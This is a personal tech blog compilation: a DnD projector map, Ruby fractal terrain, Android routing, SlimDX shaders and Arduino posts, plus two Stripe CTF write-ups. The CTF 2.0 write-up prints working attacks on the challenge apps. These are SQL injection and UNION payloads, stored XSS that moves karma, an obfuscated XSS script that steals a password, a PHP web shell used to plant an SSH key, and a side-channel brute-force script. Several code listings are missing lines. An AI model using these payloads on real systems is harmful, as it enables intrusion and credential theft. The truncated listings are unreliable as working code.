Tutorials

# Projected DnD

So I wanted to build some interactive play maps for when running DnD games, so that I could hide rooms automatically and create a more involved experience. I already had the hardware to build this system, and combined with some JavaScript it was not long until the players were running the DnD starter set adventure on it.

## Hardware

As part of my fledgling company, I have a lot of projectors and associated rigging equipment lying about.

So for when I’ve been DM’ing, I’ve used a Dell M110 projector mounted onto monitor desk mount that has been extended with a custom lathed plastic tube. With the extension, the projector ends up being about 1.5m above the table.

The projector isn’t the brightest in the world, especially against wood coloured tables, but sticking some white paper on the table surface and dimming the room lights worked great.

## Software

I wrote a very simple html template to display the interactive maps. The interaction, in this case, was the DM being able to control which areas of the map (e.g. rooms) are currently visible.

This was done by making a number of “layers” which only covered the areas they were responsible for, and then toggling their visibility with JavaScript. The layers were made using Inkscape.

The layers which could be toggled had an img#id the same as the key that would toggle them (e.g. img#1, img#2, etc) and the following snippet was used to actually change the visibility.

function toggle_visibility(e) {
// Toggle an elements visiblity
if(e.style.display == 'block' || e.style.display == '')
e.style.display = 'none';
else
e.style.display = 'block';
}

function khandle(e) {
// Find the key that was pressed, and then toggle
// KEY.png's visibility
e = e || event;
var evt = e.type;
var c = String.fromCharCode(e.keyCode || e.charCode);
var handle = document.getElementById(c);
toggle_visibility(handle);
}

function init() {
// Make sure the first room is visible
toggle_visibility(document.getElementById("1"));
}

document.body.onkeydown = khandle;

## Future

So far, this system has worked quite well for me. It does require some preparation work (creating the area masks) and forgetting which area of the map is bound to which key can be a bit of a pain.

However, I think without too much effort I could create a “DM screen” that would be shown on my laptop where I could more easily control which areas are visible, play sound effects, or show more visual effects (e.g. lightning strikes, fire).

The code and non copyrighted resources for the first chapter of the starter set is up on my Github if anyone wants to try this themselves. It would work just as well for those builds which are using an LCD screen for a table too.

# Stripe CTF 3.0

Sadly, level 3 would not run for me, even with Stripe’s patch, so I could not continue with the competition. It was fun while it lasted though – C

Wednesday saw the beginning of another Stripe CTF! This time I was in London when it started so I went to the launch meeting with some old uni friends.

The theme this time was distributed computation, so with a tiny netbook, I dove in to the levels.

## Level 0

Level 0 was essentially an exercise in optimisation. A given text input was checked against a list of words. If an input word was in the preset dictionary, it had to be tagged. The preset dictionary was an ordered list, and as such was O(n) to search. By applying the following:

index 1558f2d..d07273f 100644
--- orig.rb
+++ mod.rb
@@ -1,4 +1,5 @@
#!/usr/bin/env ruby
+require 'set'

# Our test cases will always use the same dictionary file (with SHA1
# 6b898d7c48630be05b72b3ae07c5be6617f90d8e). Running `test/harness`
@@ -7,6 +8,7 @@

path = ARGV.length > 0 ? ARGV[0] : '/usr/share/dict/words'
+entries = Set.new(entries)

output = contents.gsub(/[^ n]+/) do |word|

The list is turned into a set with a  O(1) lookup time. Significantly speeding up the operation.

## Level 1

This level was about cryptocurrencies, and to pass this level you had to mine a … ‘GitCoin’. Essentially, you were given a repo with an initial catalog of transactions. You had to successfully submit a transaction with gave your given use a gitcoin.

Proof of work for a gitcoin was determined by ensuring that the git commit message had a SHA1 signature that was lexigraphically smaller than the difficulty. So add a nonce to your commit message and keep cycling though random numbers until the commit message had a valid signature.

Stripe provided a very slow bash reference implementation, which I still used to pass the level. Instead of increasing the nonce in bash though, I wrote a python script to find a correct hash for me faster.

import sys
from hashlib import sha1
import random
import string
import Queue as queue

def work(diff, tree,  parent, timestamp, q):
diffl = len(diff)
diff = ''.join('0' for x in range(diffl))
body = "tree %snparent %snauthor CTF user <me@example.com> %s +0000ncommitter CTF user <me@example.com> %s +0000nnGive me a Gitcoinnnnonce: " % (tree, parent, timestamp, timestamp)
while True:
body_b = '%s%s' % (body, ''.join(random.choice(string.hexdigits) for x in range(8)))
s = sha1('commit ' + str(len(body_b)) + '' + body_b)
hex = s.hexdigest()[:diffl]
if hex.startswith(diff):
body = body_b
break
q.put(body)

def main():
diff, tree, parent, timestamp = sys.argv[1:]
q = queue.Queue()
th.daemon = True
th.start()

body = bytes(q.get())
with open('/home/carl/level1/test.txt', 'w') as f:
f.write(body)

th.join(0)

if __name__ == '__main__':
main()

There were some hurdles I came across while solving this, which show in the code.  The git hashing command git hash-object -t commit didn’t just take the SHA1 hash of its input, it would first prepend commit len(data) before hashing. This was easy enough to find with a bit of searching, but a major issue I was having that I couldn’t replicate the SHA1 hash unless I first wrote the commit to a file, rather than streaming via stdout. So I just wrote to a file and modified the miner bash script to change:

@@ -56,12 +56,12 @@ \$counter"

# See http://git-scm.com/book/en/Git-Internals-Git-Objects for
# details on Git objects.
-       sha1=\$(git hash-object -t commit --stdin <<< "\$body")
+       sha1=\$(git hash-object -t commit /home/carl/level1/test.txt)

if [ "\$sha1" "<" "\$difficulty" ]; then
echo
echo "Mined a Gitcoin with commit: \$sha1"
-           git hash-object -t commit --stdin -w <<< "\$body"  > /dev/null
+           git hash-object -t commit --stdin -w /home/carl/level1/test.txt  > /dev/null
git reset --hard "\$sha1" > /dev/null
break
fi

Which let me get the correct hashes and mine the coin.

## Level 2

Level 2 was all about DDOS attacks. The idea was that there were a number of back end servers, a reverse proxy (which you modified), and a number of clients, some malicious and others not. You had to modify the reverse proxy (called shield) to not let malicious traffic through, and to attempt to minimise back end idleness. Scores were determined by a test harness and also on the git push hook.

Stripe provided the attack code for reference, which made the level really easy. Malicious attackers basically spawned more connections more often, and the numbers that they spawned was defined in the file, as:

simulationParameters = {
'roundLength': 500, // In ms
'roundCount': 40,
'clientsPerRound': 5,
'pElephant': 0.4,
'mouseRequestsPerRound': 2,
'elephantRequestsPerRound': 50,
'backendCount': 2,
'backendInFlight': 2,
'backendProcessingTime': 75
};

So from this you can see that malicious clients send 50 requests per round, and normal clients send 2.  So my first solution was just to limit the number of connections from each client with a simple counter. My implementation looks like:

diff --git a/shield b/shield
index c67bd68..8ba87f2 100755
--- a/shield
+++ b/shield
@@ -7,6 +7,7 @@ var httpProxy = require('./network_simulation/lib/proxy');
var checkServer = require('./network_simulation/lib/check_server');
var nopt = require('nopt');
var url = require('url');
+var rcount = {};

var RequestData = function (request, response, buffer) {
this.request = request;
@@ -14,6 +15,16 @@ var RequestData = function (request, response, buffer) {
this.buffer = buffer;
};

+
+function checkRequest(ip){
+ if (rcount[ip] === undefined) {
+ rcount[ip] = 1;
+ } else {
+ rcount[ip]++;
+ }
+ return rcount[ip] <= 4;
+}
+
function ipFromRequest(reqData) {
}
@@ -29,10 +40,10 @@ var Queue = function (proxies, parameters) {
};
Queue.prototype.takeRequest = function (reqData) {
// Reject traffic as necessary:
- // if (currently_blacklisted(ipFromRequest(reqData))) {
- // rejectRequest(reqData);
- // return;
- // }
+ if (!checkRequest(ipFromRequest(reqData))) {
+ rejectRequest(reqData);
+ return;
+ }
// Otherwise proxy it through:
this.proxies[0].proxyRequest(reqData.request, reqData.response, reqData.buffer);
};

I committed and pushed, and surprisingly, this gave me a passing score!

## Level 3

This is where the story gets sad. I checked out the code, and I could not get the ./test/harness to work correctly. The tak was a file indexing service, and it had to be optimised. It was written in Scala, which I have never used – so I could not work out how to debug it.  Stripe released a fix, but it still did not fix my issues. At which point I had to move on to other things and could not complete the CTF.

# A Fractal Height Map Generator in Ruby

[I’m migrating my old articles to the blog in order to switch to it entirely]

Date: 25th March 2010

## Introduction

This article describes the theory behind, and how to implement, a basic fractal height map generator. It is based upon the algorithm defined at http://gameprogrammer.com/fractal.html. Height maps are used in many things: positioning software, graphical rendering, and procedural map generation. Given the right conditions, height maps can be used to create visually stunning images, and are frequently used with an alpha channel to simulate clouds.

All source code used in this article shall be made freely available, under a Creative Commons GPL Licence

The implementation which will be defined here outputs an array of numbers, which on the surface seems fairly mundane. However, with a bit of tweaking with VT100 colour codes, or passing to an image generation program, the algorithm can produce outputs such as this:

The ASCII renderer assigns a colour code to a range of numbers and then depending on your ranges, you can create rainbow-like maps like the one above. The grey scale and transparent images had their number arrays passed to an image generation program called RMagick.

## The Theory

I will go through the basic idea again as it was defined in the gameprogrammer link, to keep a consistency with terms used further in the article. So before we get on to the DiamondSquare algorithm, I shall implement the simpler 1 dimensional algorithm, which will describe the height of a line, similar to a horizon. The patterns created show some fractal behaviour, in that it is said to be self-similar. An object is said to be self-similar when magnified subsets of the object look like, or are identical to, the whole and to each other[1].

In context of this algorithm, it means that as we add more detail, the more rougher and major features will still hold true, but more detail will become apparent as we look closer. This makes the algorithm ideal for recursion or iterative methods. This implementation uses an iterative method.

### Midpoint Displacement in One Dimension

For the creation of the 1 dimensional height map, similar to a horizon, a very simple algorithm is used:

def generateLine(length)

# Due to this algorithm being simple for
# the articles sake, length should be
# constrained to the powers of 2.
#
# As we need a midpoint, however, length
# should be defined as (2^n)+1.

# Create an array which describes a line.
# Set the default values to 0American Standard Code for Information Interchange
line = Array.new(length, 0)

# Define the range of the terrain values.
# For this example we shall take the range
# of values to be -63 to 63, with the midpoint
# at 0, out default value.
# Range is then 128.
range = 128;

# Work out the number of line segments
# levels there are in the line. As each line
# segment level is defined by deviding by two
# until length is 1, the number of segments
# is the log_2 of the length.
noSegments = Math.log(length-1, 2)

#Iterate through the levels
(1 .. noSegments).each{ |level|

# Work out the line segment length so you
# can properly address the offset.
segLength = (length/2**level)

# Work out the number of line segments
# within this level
noSegL = (2**level)-1

# Iterate through the line segments and
(1 .. noSegL).each{ |segOffset|

# If value is not zero, skip over it, done on a previous
# level
if( line[segLength*segOffset] == 0 )

# Make sure the current value of the line
# is directly midway between its two parents.
line[segLength*segOffset] = (line[segLength*(segOffset-1)] + line[segLength*(segOffset+1)])/2

# Apply random function to value
line[segLength*segOffset] = randomFunction(line[segLength*segOffset], level, range)

end
}
}

return line
end

Now as you can see the most important part of that algorithm is that which I have purposely missed, randomFunction. This is where you, quite obviously, define how you want your heights defined. A good way is to simply use a bounded random function, where the bounds are defined by the line segment level you are currently within. For example, a function like:

def randomFunction(value, level, range)

# Roughness constant 0 < h < 1
# As h approachs 0, the level dependent
# bounds grow and tend to 1 for all values
# of level
h = 0.8

# Define bounds in terms of level and a roughness
# function
multiplier = 2 ** (-h * level-1)

# Perform random function, bound it, and then apply
# multiplier
value += (rand() * (range) - (range / 2)) * multiplier

# Return
return value
end

Would offset the value of the line a random amount which is bounded by a function dependent on the line segment level and a roughness coefficient. As this function is the heart of this algorithm and the 2 dimensional algorithm, I will go into some detail on the use of the roughness coefficient. If the roughness coefficient is set to 1, then the multiplier acts the same as : $2^{(-l-1)}; 0 < l < infty ; l in mathbb{Z}^+[/latex]. Decreasing the value of h flattens out the function meaning the bounds are less constrictive and allowing for much rougher terrain. Here is a plot of the multiplier when h=0.8 and h=0.2, and a plot of the generated lines when those constraints are used. X axis is equal to line segment level. [gallery columns="2" ids="434,433"] As you can see, the roughness coefficient makes a massive difference to the outputted numbers. For those interested in recreating the plot, I piped the output of the above code into a text file, and then used GNUPlot to make the images.

### Extending into 2 dimensions - The diamond square algorithm

To extend this algorithm into the second dimension, we have to imagine the terrain data as a two dimensional array of numbers. Each number represents a height in this two dimensional field, and so each column and row can be treated similarly to above.

To split up a two dimensional array in a self-similar way we must use squares, or diamonds, which are analogous to the line segments of the 1 dimensional algorithm. Then, rather than using the ends of a line segment to work out a base height the corners of the square, or diamond, are used. For example:

[gallery columns="2" ids="436,435"]

Like the line segment algorithm, the mathematical 'meat' is the same random function as before. The complexity comes in managing which indexes are part of a diamond or a square. So, for example, here is a code segment which works out indexes of a square, depending on level and location, and applies the random function:

# Get the corners of an arbitrary square and perform operation # on center. # # @param array Array to use # @param topleftIndexX X index of top left of square # @param topleftIndexY Y index of top left of square # @param length Length of the square # @param level Level into the calculation def processSquare(array, topleftIndexX, topleftIndexY, length, level, range, h) # Get coordinates of the corners of the square toprightIndexX = topleftIndexX toprightIndexY = topleftIndexY + length + ((level == 0) ? -1 : 0) bottomleftIndexX = topleftIndexX + length + ((level == 0) ? -1 : 0) bottomleftIndexY = topleftIndexY bottomrightIndexX = topleftIndexX + length + ((level == 0) ? -1 : 0) bottomrightIndexY = topleftIndexY + length + ((level == 0) ? -1 : 0) middleX = topleftIndexX + (length)/2 middleY = topleftIndexY + (length)/2 # Get values topleftValue = array[topleftIndexX][topleftIndexY] toprightValue = array[toprightIndexX][toprightIndexY] bottomleftValue = array[bottomleftIndexX][bottomleftIndexY] bottomrightValue = array[bottomrightIndexX][bottomrightIndexY] # Get average average = (topleftValue + toprightValue + bottomleftValue + bottomrightValue)/4 # Set new value array[middleX][middleY] = average + calculateOffset(level, range, h) end

Where calculateOffset is the random function in this application. The diamond calculation algorithm is very similar and looks like this:

# Get the edges of an arbitrary diamond and perform operation # on center # # @param array Array to use # @param topIndexX X index of top of diamond # @param topIndexY Y index of top of diamond # @param length Length of diamond # @param level Level into the calculation def processDiamond(array, topIndexX, topIndexY, arraylength, level, range, h) # Adjust arraylength -= 1 length = arraylength/(2 ** level) #Get coordinates of the diamond rightIndexX = topIndexX + length/2 rightIndexY = (topIndexY == length) ? length/2 : topIndexY + length/2 leftIndexX = topIndexX + length/2 leftIndexY = (topIndexY == 0) ? arraylength - length/2 : topIndexY - length/2 bottomIndexX = (topIndexX + length/2 == arraylength) ? length/2 : topIndexX + length bottomIndexY = topIndexY middleX = topIndexX + length/2 middleY = topIndexY # Get values topValue = array[topIndexX][topIndexY] rightValue = array[rightIndexX][rightIndexY] bottomValue = array[bottomIndexX][bottomIndexY] leftValue = array[leftIndexX][leftIndexY] # Get average average = (topValue + rightValue + bottomValue + leftValue)/4 # Set new value array[middleX][middleY] = average + calculateOffset(level, range, h) # Wraps if(middleX == arraylength) array[0][middleY] = array[middleX][middleY] end if(middleY == 0) array[middleX][arraylength] = array[middleX][middleY] end end

The only difference with the above snippet is the different indices it retrieves, and that it must handle wrap around for some of the edges.

So currently, we can create arbitrary diamonds and squares within a 2-dimensional array and assign a fuzzy average of the edges according the h value. Now all we need is some code to manage traversing through the levels of iterations and through the diamonds and squares themselves. Here is my solution:

# The main control loop for the algorithm. # # @param lengthExp Length exponent # @param range Value range # @param h Roughness constant def generateTerrain(lengthExp, range, h) length = (2 ** lengthExp) + 1 array = Array.new array = createArray(array, length) #Go through Levels (irerative recursion) (0 .. lengthExp - 1).each{ |level| # Iterator for the Square part of the algorithm # Will go through the x-axis coords (0 .. (2 ** level) -1 ).each { |sqx| # Y axis coords (0 .. (2 ** level) -1).each { |sqy| gap = length/2 ** level x = (0 + (gap*sqx)) y = (0 + (gap*sqy)) processSquare(array, x, y, gap, level, range, h) } } # Iterator for the diamond part of the algorithm (0 ... (2 ** (level+1))).each { |dix| # Offset in the number of points on the y-axis. Dependant # on if x iteration is even or odd. offset = (dix.even?) ? 1 : 2 (0 ... (2 ** (level+1)/2)).each { |diy| gap = (length/2 ** (level+1)) ygap = 2 * gap x = (0 + (gap*dix)) if (dix.even?) y = 0 + (ygap*diy) else y = gap + (ygap*diy) end processDiamond(array, x, y, length, level, range, h) } } } return array end

And this gives us our array with its height map hidden inside. Using a library like RMagick we can output images like the ones shown above. To create the gray scale image, the following code was used:

image = Image.new(array.length, array.length) (0 ... array.length).each { |x| (0 ... array[x].length).each { |y| val = array[x][y] * (2**9) # Create greyscale image image.pixel_color(x, y, Pixel.new(val, val, val, val)) } } image.display

Which just takes the value in the array, and multiplies it by 512 which gives the values a range of [latex]0 ge v ge 2^{15}, ; frac{v}{512} in mathbb{Z}$

. This gives us the gaseous image that has been generated above.

## Code Listings

A library version of the ruby code found in this tutorial can be found at GitHub.

## References

1. Voss, Richard D., FRACTALS in NATURE: characterization, measurement, and simulation. SIGGRAPH 1987

Based on a work at gameprogrammer.com.

# Stripe-CTF 2.0

I managed to finish the Stripe CTF with 18 hours to spare and placed no. 702. I’m pretty happy with the result considering how little time I actually spent on it! My progress can be found here and you can see when I took days off!

Overall the competition was really enjoyable and the final hangout in the irc channel while my program was breaking the flag really made me feel part of the community.

I won’t publish this until the end of the deadline, but I’ll try to remember how I broke through each level and give the code I used:

### Level 0

Very simple! A beginner SQL injection attack which leveraged the following line in the code:

var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"';
db.all(query, namespace, function(err, secrets) {
...

This essentially put namespace into the ‘?’ of the statement. My setting namespace to a wildcard (‘%’) the page dumped its data and the password to the next level.

### Level 1

The task for this level was to guess a combination that was defined in a hidden file (“combination.txt” or similar) which would then unlock “password.txt” and output to a web page. The code which read in the combination looked like:

extract(\$_GET);
if (isset(\$attempt)) {
\$combination = trim(file_get_contents(\$filename));
if (\$attempt === \$combination) {
...

The key thing I could exploit here was “extract(\$_GET)” which just created variables for what ever was in the GET params with no checks. Simply passing “&filename=&attempt=” as params got me past the if statement and the password was outputted.

### Level 2

This level was referred back again and again, as you could upload files to it and execute code from a level02-*.stripe-stf.com domain. The idea was to get the contents of the file password.txt which was not accessible from the webserver. Uploading a .php file which read the contents of the file and echoed it worked by just browsing to “/uploads/getfile.php”

### Level 3

This was the first level which was hard! I’d never really done a proper SQL injection before and it was quite satisfying to get working. The SQL injection point was:

query = """SELECT id, password_hash, salt FROM users

which meant that I was stuck with the start of the statement regardless, and the python-sql link didn’t allow multiple statements. I read up on SQL attacks and ended up using a combination of UNION and SELECT AS in order to inject my own data into the response. However, the only thing I could inject was an id, password_hash, and a salt. The id allowed me to spoof a user, and I could determine what my hash should be given a known salt. My injection was

' union select 1 as 'id', '961b6dd3ede3cb8ecbaacbd68de040cd78eb2ed5889130cceb4c49268ea4d506' as 'password_hash', 'a' as salt ; --

Which made the proper request to the database return nothing, and then I combined it with my own data, which was an id for 1, the SHA256 hash of “aa”, and a salt of a.

Putting the above in the username field and setting my password to ‘a’ I got authenticated. Then I just changed ids between 1-3 until I got the correct user.

N.B The secrets for the other users, which claimed to be either the solution to P=NP, and a plan for a perpetual motion device seemed to be generated from scigen

### Level 4

This level was weird, and was  a JavaScript injection attack. The given website had a simple concept: users passed karma between each other. However, to show that they really trusted the user they were giving karma to, your password was shown to people who gave you karma. There was a system generated user called ‘karma_fountain’ whose password for the code to unlock the next level.

The inject route was: Set your password to some JavaScript, send karma to your prey, when they logon the JavaScript would execute. Luckily, karma_fountain logged in every minute and my password was set to (wrapped in script tags):

\$.post('/user-izwsyuhfyt/transfer', { to: "karma", amount: "1"});

### Level 5

This was black magic. It was solved near accidentally and then inspected to work out why.

Essentially you had to trick the system to think that it was receiving a command which solved the regex:

/[^w]AUTHENTICATED[^w]*\$/

.However, the command had to be returned from a stripe-ctf domain, and to get the code the system had to think it came from a level5.stripe-ctf domain.

Using level 2, I uploaded a .php (.txt was forbidden in the webserver rules) which just echoed ” AUTHENTICATED”, and passing the address for that got me authenticated as a level02 domain. Now all I needed was to get it to authenticate as level05.

In the end, the url i gave it was itself, with the post parameters it needed for level2 in the get params.  Essentially this is what happened:

1. Level5 posted to itself with a domain of level5.* and get params for level2 auth
2. From this post the level2 auth were collected by the post param get functions
3. Authed as level2
4. Authed as level5

BLACK MAGIC

### Level 6

This level was incredibly fiddly, but FireBug really helped with it. Essentially it was a blogging site, and there was an injection point in the blogroll. However, the database had a “safeInsert” method which dropped any data which had an apostrophe or quote in it. This just made it awkward.

The site had a “/user_info” page which a user could view their unsanitized user and password. The user which I needed to get the password from apparently has quotes and apostrophes in its password, so I also needed to sanitize them before getting them out of the system. The only way to do that would be to make my prey post their password.

So the exploit work flow is:

1. GET /user_info
2. Strip password and convert to character code
3. POST this to /ajax/posts with a scraped ‘_csrf’ token to authenticate

This had to be done with no quotes or apostrophes so any strings were generated using String.fromCharCode(). Here’s the formatted exploit code I used:

\$.get(String.fromCharCode(117,115,101,114,95,105,110,102,111),
function(response) {
var a = \$(String.fromCharCode(60,100,105,118,47,62)).html(response).find(String.fromCharCode(46,115,112,97,110,49,50,32,116,100)).text();
var u;
for(i=0;i<a.length;i++){u += String.fromCharCode(32) + a.charCodeAt(i)}
\$.post( String.fromCharCode(97,106,97,120,47,112,111,115,116,115),
{
title: String.fromCharCode(88,83,83),
body: u,
_csrf: \$(String.fromCharCode(102,111,114,109,35,110,101,119,95,112,111,115,116,32,105,110,112,117,116))[0].value
});
}
);

### Level 7

I was given an API to a “WaffleCopter” service and had to request a premium waffle in order to get the password. I was not a premium user. Each request was signed with a SHA1 hash. They could be replayed.

After googling for SHA1 vulnerabilities and hanging around in the channel I discovered that there was a padding vulnerability in SHA1 and that were was a handy python script which would do all the work for you.

Combining this tool with a web request, I was able to use an old request from user 2 who ordered a “dream” premium waffle, add “&waffle=leige” to the end of the query and the magic python script worked out padding that got me the same signature as the original request!

### Level 8

This was incredible and a nice mix of frustrating, hard, and madness.

Essentially: The flag was a 12 digit number, it was kept by a program which then split the password into 4 chunks and were held by separate instances. You interrogated the main instance of the passwordDb and it would ask the chunks if it was correct. the service would then reply {success: false/true}. You could also pass it a “webhook” which would get the results rather than the curl/browser call.

The server also only accepted data from a *.stripe-ctf.com domain.

So, first problem, I needed to get that password: The chunking was an advantage, as if I was brute forcing individual chunks I would only need a 10^3 search space 4 times, rather than 1 10^12 search space. this made brute forcing practical. While on a local instance of the server I could interrogate the chunk_servers individually, on the level8 server I did not have that option, so I needed the go through the primary_server.

Due to reflection magic, when a webhook is used and a chunk says a password chunk is wrong, it directly tells the webhook true/false. And the port which is used is dependent upon which chunk is replying! A port difference (from the port of your last request) of 2 meant chunk 1 had rejected your password, 3 meant chunk 2, and so on.

This gave a side channel style attack where you could sequentially increase each chunk depending on which chunk returned false. This meant you could break the flag in <= 4000 requests. Ace.

So, the second problem, getting access to a .stripe-ctf.com domain. The problem statement said that sshd was running.  Attempting the ssh in with your generated username failed due to no public key. Hmm. Uploading a php script with a simple form and a shell_exec command essentially gave me a poor mans command line and after much faffing was able to upload a public key, create a .ssh/ folder, and add my key to an authorized_keys file. Then I was in.

Running my cracker on the production server came up with some problems: the port differences were sometimes more than 5. I assume this was because of the amount of people on the server. I modified the program to ignore any weird port differences and keep trying until a sane one was found. The server was also INCREDIBLY SLOW. It took me about 3 and half hours to brute force my flag with the following:

require 'socket'
require 'net/https'

ENDPOINT = "https://level08-4.stripe-ctf.com/user-ianrhgpijr/"
WEBHOOK = "level02-3.stripe-ctf.com"

# current port and chunk values
last_port = -1
chunk1 = 0
chunk2 = 0
chunk3 = 0
chunk4 = 0

# Open webhook port
server = TCPServer.open(50001)
puts "[Server]:: listening on port #{server.addr[1]}"

# Until finished (practically forever on production)
while true

# Start POST request to endpoint
uri = URI(ENDPOINT)
req = Net::HTTP::Post.new(uri.to_s)

# Pad out to chunks of 3, with zeros
password_chunk = "#{chunk1.to_s.rjust(3, '0')}#{chunk2.to_s.rjust(3, '0')}#{chunk3.to_s.rjust(3, '0')}#{chunk4.to_s.rjust(3, '0')}"

# Build request

http = Net::HTTP.new(uri.host, Net::HTTP.https_default_port)
http.use_ssl = true

# Send request, we only really care about the response when it returns true
http.start { |h| @response = h.request(req) }

# Wait on webhook
client = server.accept

if (last_port != -1)

# Get port difference

# Verbose is good on dodgy production server
puts "[CHUNK]:: #{password_chunk} & port_diff = #{diff}"

# Incerement chunks based on port difference
if (diff == 2)
chunk1 += 1

elsif (diff == 3)
chunk2 += 1

elsif (diff == 4)
chunk3 += 1

elsif (diff == 5)
chunk4 += 1
# Last chunk, we can start checking the flag result!
if (@response.body.include?('true'))
# Woo got the flag
break
end
end
end

client.close
end

### Conclusions

All in all it was a brilliant competition to spend hours in distraction with. Looking forward to the next one (and my free t-shirt).

# Android Maps and Routing

Very quick one here.

I’ve been trying to mapping, especially routing, working on an android application I’m developing. I will save you a lot of trouble and tell you to use the inbuilt Google services.

In fact, I found a gem of a post at http://smartandroidians.blogspot.co.uk/2010/06/showing-route-through-google-map-in.html which shows you how to open an intent for routing. I’ll add in some handy extras.

// Uri to open - this will work in your browser and is actually the uri that maps generates itself
"&dirflg=w");

// Create an intent to view the URI
Intent intent = new Intent(Intent.ACTION_VIEW, uri);

// [Bonus] Set the intent class as a map, so you can avoid an annoying pop up asking whether to
// open in the browser or maps

// Start the activity and close your launching activity
startActivity(intent);
finish();

I added a couple of things, as my application wanted walking directions and there was an annoying pop up asking what to open the URI with.
First, adding ...&dirflg=w to the URI forced walking directions.
Second, setting the intent’s class name as in the snippet set a hint to android for what to open the URI with [2].

This isn’t new, but it was hard to track down something clear via searching, so I’m consolidating.

# SlimDX and Shaders – Constant Buffers

## Setting up

Having played with a few GLSL shaders in C++, I thought that moving to a DirectX/HLSL solution sould be fairly simple.

Creating the most simple pixel shader was easy enough, and SlimDX is a decent wrapper for DX in C# – so after an hour or so I had the standard working triangle floating in space. I wanted to go further (obviously), and having spent the last few days delving into the demoscene and finding the most amazing site for pixelshader techniques (http://www.iquilezles.org/www/index.htm) I wanted to have a shader to work with (x,y) coordinates that were between (-1,1) rather than absolute screen coordinates.

This requires passing the current render area width and height to the shader to normalise with. This is done using Constant Buffers and on the shader side looks like:

cbuffer ConstBuffer : register(c0)
{
float2 resolution;
}

float4 VShader(float4 position : POSITION) : SV_POSITION
{
return position;
}

float4 PShader(float4 position : SV_POSITION) : SV_Target
{
// Get normalised (x,y)
float2 p = -1 +  2 * (position.xy/resolution);

// Spikes in the corner
float c = abs(p.x*p.y);
return float4(c,c,c,1.0f);
}

To get the resolution variable into the register for the shader to use, you must create a ConstantBuffer in the program code and assign it to the shade. The Constant Buffer must be a size which is divisible by 16, so if your data is too small, just put it in a bigger buffer.

// Create data stream, we only need 8 bytes, but round up to 16
var resolution = new DataStream(16, true, true);
// Fill the stream with width/height info - I'm using a renderform
resolution.Write(new Vector2(form.ClientSize.Width, form.ClientSize.Height));
// Rewind the stream
resolution.Position = 0;
// Create and bind a buffer
resolution, //Stream
16,         // Size
// Flags
ResourceUsage.Dynamic,
BindFlags.ConstantBuffer,
CpuAccessFlags.Write,
ResourceOptionFlags.None,
4),
0); // Register

This lets us run the above shader, giving us:

## Bonus

Having played on shader toy, I repurposed the Deform effect for a static image.

cbuffer ConstBuffer : register(c0)
{
float2 resolution;
}

float4 VShader(float4 position : POSITION) : SV_POSITION
{
return position;
}

float4 PShader(float4 position : SV_POSITION) : SV_Target
{
// Get normalised (x,y)
float2 p = -1 +  2 * (position.xy/resolution);

// Deform focus
float2 m = float2(0.2f, 0.1f);

// Deform
float a1 = atan((p.y-m.y)/(p.x-m.x));
float r1 = sqrt(dot(p-m,p-m));
float a2 = atan((p.y+m.y)/(p.x+m.x));
float r2 = sqrt(dot(p+m,p+m));

float2 uv;
uv.x = 0.2 + (r1-r2)*0.25;
uv.y = sin(2.0*(a1-a2));

float w = r1*r2*0.8;
float c2 = abs(uv.x*uv.y);
float4 col = float4(c2,c2,c2,1.0f);

return float4(col.xyz/(0.1+w),1.0f);
}

Result:

# Arduino Gas Meter Sensor – Part 1

## Motivation

My newly ordered Arduino Uno came in the post today so I got to start building with it!

An upcoming sensing deployment needs a way of sensing gas usage, so I’m building a basic sensor to measure it. Luckily, most gas meters have an LED pulse which goes off every so often and we can measure that. The one in my house informs me the light will pulse every 10 dm^3 of gas, so every time the second number from the right on the meter ticks the light will pulse. Failing this, the 0 on the right most dial is very reflective, and an LED can be used to reflect light from it.

As the extra bits I need to finish the sensor hasn’t come yet, namely the SD card shield and a battery pack, I can’t lock the sensor in my gas cupboard and give it a test, so for the time being I’m turning off my computer screens and lights, then flashing a red head torch at it to simulate a pulse.

## Code

After a bit of internet trawling, I found an ace site laying down how to do the wiring for a digital light sensor (http://www.ladyada.net/learn/sensors/cds.html#bonus_reading_photocells_without_analog_pins [This link seems to have died since the post was written, the circuit diagram will be linked in at the end of the post.]). From that, I added in a method which took a rolling average of the last 5 measurements and outputted if the measured light was brighter than 110% of the average (not exactly statistical, but I intend for these to be locked in a dark box…).

Here’s what I have so far:

/* Based on: Photocell simple testing sketch.
Connect one end of photocell to power, the other end to pin 2.
Then connect one end of a 0.1uF capacitor from pin 2 to ground

// Number of measurements for averaging
const int AVERAGE_LENGTH = 5;

int photocellPin = 2;     // the LDR and cap are connected to pin2
int ledPin = 13;    // you can just use the 'built in' LED

// for the circular buffer
int average = 0;
int counter = 0;

void setup(void) {
// We'll send debugging information via the Serial monitor
Serial.begin(9600);

// Initialise the array
for(int i=0;i<AVERAGE_LENGTH;i++) {
}
}

void loop(void) {
// read the resistor using the RCtime technique

// Calculate rolling average
++counter %= AVERAGE_LENGTH;
calcStats();
int bound = average - (average/10);

// Glorious debug
Serial.print("Av = ");
Serial.print(average);
Serial.print(" = [");
for(int i=0; i<AVERAGE_LENGTH;i++) {
Serial.print(",");
}
Serial.print("] ");
Serial.print(" . RCtime reading = ");
} else {
Serial.println();
}

delay(100);
}

// Calculates the new mean based on the last 20 measurements
int calcStats() {

// average
average = 0;
for(int i=0;i<AVERAGE_LENGTH;i++) {
}
average /= AVERAGE_LENGTH;
}

// Uses a digital pin to measure a resistor (like an FSR or photocell!)
// We do this by having the resistor feed current into a capacitor and
// counting how long it takes to get to Vcc/2 (for most arduinos, thats 2.5V)
int RCtime(int RCpin) {

// set the pin to an output and pull to LOW (ground)
pinMode(RCpin, OUTPUT);
digitalWrite(RCpin, LOW);

// Now set the pin to an input and...
pinMode(RCpin, INPUT);
while (digitalRead(RCpin) == LOW) { // count how long it takes to rise up to HIGH
reading++;      // increment to keep track of time

// if we got this far, the resistance is so high
// its likely that nothing is connected!
break;           // leave the loop
}
}
// OK either we maxed out at 30000 or hopefully got a reading, return the count

}

## Next Steps

Well apart from the hardware I need, so issues need to be addressed which may or may not require extra hardware – as I’ve just thought of them.

• DateTime equivalent object for when I register a pulse
• Work out how long these will last on battery
• Can I set an interrupt to go off when a digital value hits a threshold? Or does this require analogue input? If I can it would massively save on battery as no polling! But, it may require fiddly per-house calibration, which the brute force method ignores
• Laser/3d Printed box and some form of mounting which will let me attach to anything. Probably going to be velcro.

Here’s a video of it working:

# JSXGraph

I found this cool graphing JS library which has a wordpress plugin! It’s called JSXGraph and is rather nifty!. Here is an example graphs showing Facebook users over time.

